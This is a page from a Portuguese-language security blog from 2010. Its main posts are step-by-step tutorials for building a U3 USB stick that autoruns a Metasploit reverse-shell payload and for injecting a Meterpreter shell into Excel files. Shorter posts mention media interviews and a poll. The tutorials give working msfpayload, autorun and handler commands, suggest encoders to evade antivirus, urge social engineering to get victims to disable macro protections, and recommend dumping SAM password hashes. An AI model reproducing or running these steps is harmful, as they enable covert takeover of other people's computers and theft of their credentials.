24 de outubro de 2010

1 - O Ataque

Em 4 passos simples iremos construir um pendrive USB U3, de modo que quando conectado a um PC, realize uma conexão reversa com o Meterpreter.

A idéia é gerar, com o Metasploit, um arquivo executável com um payload para gerar uma conexão reversa ao conectar o pendrive na USB do PC. Para gravar o payload dentro do U3, usaremos o programa Universal Customizer.

1. Gerar o payload com o Metasploit

Neste caso vamos criar um executável com uma conexão reversa do Meterpreter:

./msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 X > malware.exe


Obviamente que podemos utilizar qualquer payload, como também utilizar encoders para tornar mais difícil sua detecção por antivírus.

2. Criar nossa ISO

Uma vez que tenhamos baixado e descompactado o Universal Customizer (http://www.hak5.org/packages/files/Universal_Customizer.zip), copiamos o arquivo malware.exe para o diretório "U3CUSTOM" e criamos o arquivo "autorun.inf" com o seguinte conteúdo:


[AutoRun]

open=malware.exe


Após isso, executamos o "ISOCreate.cmd" e dentro do diretório "BIN" será criada nossa ISO com o nome "U3CUSTOM.ISO". Se não criarmos nossa ISO , o Universal Customizer utilizará a ISO "U3CUSTOM.ISO" que já vem dentro do pacote, com uma versão feita por Hacksaw.

3. Gravar a ISO

Iniciamos o Universal Customizer e vamos seguindo os passo:


Linux: Ataque USB U3 com Metasploit

Ao finalizar, retiramos o pendrive, e quando voltarmos a conectá-lo já teremos nosso payload sendo executado.

4. Aguardando a conexão reversa

Para finalizar, devemos deixar o meterpreter "escutando" à espera da conexão reversa que será feita pelo payload gravado no pendrive:


./msfconsole

use exploit/multi/handler

set PAYLAOD windows/meterpreter/reverse_tcp

set LHOST 1.1.1.1

set LPORT 443

set ExitOnSession false

exploit -j


Isso é tudo, que serve inclusive como uma prova de conceito para comprovar a segurança da máquina de um usuário.


LINKS RELACIONADOS:

http://www.infoseczen.com/?p=127

http://www.slideshare.net/seguinfo/sallis-usb-hacks

http://www.hak5.org/packages/files/Universal_Customizer.zip

20 de outubro de 2010

Série "Crime na Rede", na rede Record

Caros,

Dia 18/10 começou uma série chamada Crime na Rede na Record, e no segundo dia foi exibida uma reportagem onde falo rapidamente e uma de minhas aulas foi filmada, onde inclusive um aluno comenta sobre um caso de invasão no site de sua empresa.

Para quem quiser conferir, segue o link:

http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html

[ ]'s

11 de outubro de 2010

XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel

Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.

1 - Preparação

Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.

Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.

Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:

Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:


# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls


Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.

Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.

Iniciamos o console do Metasploit:

# ./msfconsole

Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:

set payload windows/meterpreter/bind_tcp

Configuramos o payload corretamente, com seus parâmetros:

set RHOST ip_da_vitima
set RPOT 4444

E executamos:

exploit

Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:

Core Commands

Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel


Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands

Command Description
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands

Command Description
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components


Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database


Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes




2 - Finalização

É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit's Meterpreter para saber mais sobre os comandos do meterpreter.

Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.

Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:

Entrevista no Correio Brasiliense

Caros,

Para quem tiver interesse, participei de uma entrevista no Jornal Correio Brasiliense, cujo título é "Problemas na segurança na web geram dor de cabeça para usuários e empresas".

Outros profissionais, como Ulisses de Castro, participaram de entrevista :-)

Vale a pena dar uma conferida!

[ ]'s

5 de outubro de 2010

Pesquisa para primeiro videocast

Caros,

Acabei de postar no lado direito da página, uma enquete para que votem, definindo o assunto que será abordado em nosso primeiro videocast, lançado (espero) ainda em outubro.

As letras das opções não estão muito bem visíveis, por conta da cor de fundo do layout, mas basta selecionar as opções com o mouse que é possível ler cada uma delas e escolher uma.

Espero a ajuda de vocês, para definirmos em conjunto o assunto que vai inaugurar nosso primeiro videocast sobre segurança da informação.

Abraços!

Malware Network